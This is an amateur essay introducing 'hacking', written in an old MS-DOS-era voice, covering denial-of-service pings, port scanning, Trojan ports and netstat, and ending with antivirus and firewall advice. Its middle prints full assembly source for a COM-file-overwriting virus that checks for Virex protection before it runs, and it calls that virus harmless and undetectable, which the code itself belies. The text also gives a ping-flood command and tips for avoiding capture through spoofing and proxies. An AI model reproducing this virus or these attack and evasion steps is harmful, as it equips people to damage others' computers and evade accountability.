  Introduction You might wonder what exactly is hacking and how it affects you.  Hacking is a way of breaking into somebody’ s system,  now that doesn’ t mean that you have get their personal passwords or credit card numbers.  You can simply check errors in their system,
 like their connection or security issues.  A lot of people think that hacking is very bad,  but I don’ t think that.  Without hackers,  we wouldn’
t be advanced in computer technology as we are now.  Hackers could make anti- viruses,  registry and disk tools,  and invent programming languages that we take for granted.  Hacking itself is not illegal,
 but breaking into someone’ s computer without their permission is.  Hacking could be as simple as finding someone’ s IP,  and viewing a source code of a website,  or as complex as breaking someone’
s firewall,  opening holes and cracking the password of a server.  How to Hack?  Hacking could be very difficult in terms of understanding the computer technology and terms.  However,  some hackers just download a popular Trojan and use it to crash or break into someone’
s system.  Hardcore hackers are practically untraceable,  while noobs get traced and arrested.  You can launch a DOS Attack ( denial of service attack)  on someone’
s system or server to crash or shutdown their system.  One of these is the buffer overflow,  of ping of death.  You just keep pinging the victim,  sending him millions of pings repeatedly until their connection is hung up.  You have to find the target’
s IP ( internet protocol)  address is order to achieve this.  Go to MS- DOS,  and at the command prompt,
 type:  c: windows> ping – l 65500 123. 45.
67. 89 – t.  Of course I would never recommend doing this because it’ s very stupid and is almost always blocked by firewalls and packet filters.  However,
 some companies do these kids of attacks on other company’ s computers to shut them down.  The U. S army may shutdown other countries computers when launching an attack or something.  There are lots of different DOS attacks including;  SYN attacks,
 UDP flooding,  smurf attacks and teardrop attacks.  If you want to really get in depth,  like connecting to somebody’ s ports or closing them then you could do a simple portscan on their IP address and get the information that you need.  When you have found the information that you need,
 then you could hack.  Go to MS- DOS and type in the command c: windows> telnet 123. 45.
67. 89 25.  This simply means that you wish to connect to the target’ s smtp port that is currently open.  Other ports that are worth mentioning are:  21-
FTP 23- Telnet 25- SMTP 53- DNS 79- Finger 80- HTTP 110-
POP.  You might ask how do you find someone’ s IP?  Well,  you have to establish a direct connection between the client and the host.  You could do this by playing a game,
 or chatting on an instant messenger.  Go to MS- DOS and type in this:  c: windows>  netstat /
 for the list of commands.  Types in netstat – n to get all the connections that you have online.  The bottom one should be the one that you want.  This is especially useful when you want to check for Trojans on your computer,  because they always keep an open port every time you connect to the Internet,
 ready for the attacker to connect.  Even if you have an anti- virus,  it won’ t detect the Trojan that’ s installed on your system.
 Common Trojans are SubSeven and NetBus.  If you see any of the following,  then you can be pretty sure that you are infected:  Port 12345( TCP)  NetBus Port 31337(
UDP)  Back Orifice Other methods of MS- DOS hacking that are commonly used are;  1)  NetStat 2)  NbtStat 3)
 NetCat 4)  Ping and Tracert 5)  Telnet and Nmap Viruses Viruses also pose a very dangerous threat to our seciety.  Recent anti- viruses had been able to protect against them but it is impossible to stop them all since people all over the world read their e- mail.
 Viruses could be in games,  sites,  macros,  almost anything.  Never trust a source unless you're pretty sure its secure.  Here is an example of a very simple viruses writen in Assembly that will only .
com files.  It will stay in one directory or folder so you dont have to worry.  Remember,  it is just s source code,  it will not do any damage.  As of right now I think this virus is not detectable.
 seg_a segment byte public assume cs: seg_a,  ds: seg_a org 100h V_Length equ last- start KODE4 proc far start label near ; Check for Virex installiation mov ax,
0ff0fh int 21h cmp ax, 0101h ; Abort if Virex Protection je done ;  present mov ah, 4Eh ; Find first Com file mov dx,
offset filename ; use " com"  int 21h Back:  mov ah, 43h ;
get rid of read only mov al, 0 mov dx, 9eh int 21h mov ah, 43h mov al, 01 and cx, 11111110b int 21h mov ax,
3D01h ; Open file for writing mov dx, 9Eh ; get file name from file DTA int 21h mov bx, ax ; save handle in bx mov ah,
57h ; get time date mov al, 0 int 21h push cx ; put in stack for later push dx mov dx, 100h ; Start writing at 100h mov cl,
v_length ; write 46 bytes mov ah, 40h ; Write Data into the file int 21h pop dx ; Restore old dates and times pop cx mov ah, 57h mov al,
01h int 21h mov ah, 3Eh ; Close the file int 21h mov ah, 4Fh ; Find Next file int 21h jnc Back mov ah, 9h mov dx,
offset DATA int 21h done:  int 20h ; Terminate Program filename db " c* 0 DATA db "  -
 Kode4 +  The one and ONLY!  kode4 endp LAST label near seg_a ends end start Security Every hacker knows the first rule about hacking-  DON’ T GET CAUGHT!  This could simply be done by using an IP Spoofer,
 Proxy Server,  or encrypting your source and changing the where the address of an attack came from,  like changing the “ from destination”  when sending packets.  Encrypting your hard drive is always a good idea for hackers that frequently hack and have a chance of getting traced.
 Protecting Yourself The first thing that you should do in order to get a good security all around your computer is to get an Anti- Virus and a Personal Firewall.  Anti- Virus protects you against viruses and worms that may come in the mail,  or downloaded from a website.  Firewalls keep out hackers from your system and make you feel safe when you are online.
 I personally have an anti- virus and a firewall and I know that the chances are that I probably wouldn’ t get hacked,  but expert hackers could get though your firewall in a matter of hours or minutes!  Conclusion If you don’ t know much about computers,
 networking,  programming,  then I wouldn’ t recommend you hacking,  because you’ ll find yourself reading lots and lots,
 before you get anywhere else.  If someone attempts to hack you,  I would recommend you report that attacker immediately,  no matter what’ s the cost,  because he could hack someone for real and cause a lot of damage to innocent people.
 People who think that hacking is bad are not stupid.  They just don’ t know what it really is.  I don’ t look at it as illegal,  as a lot of people may do.
 The hacking that I do is totally legal and is done only as learning and educational experience.  Ethical hackers are those hackers that check security issues and don’ t break into systems;  they make it so it is more difficult for a hacker to break through.
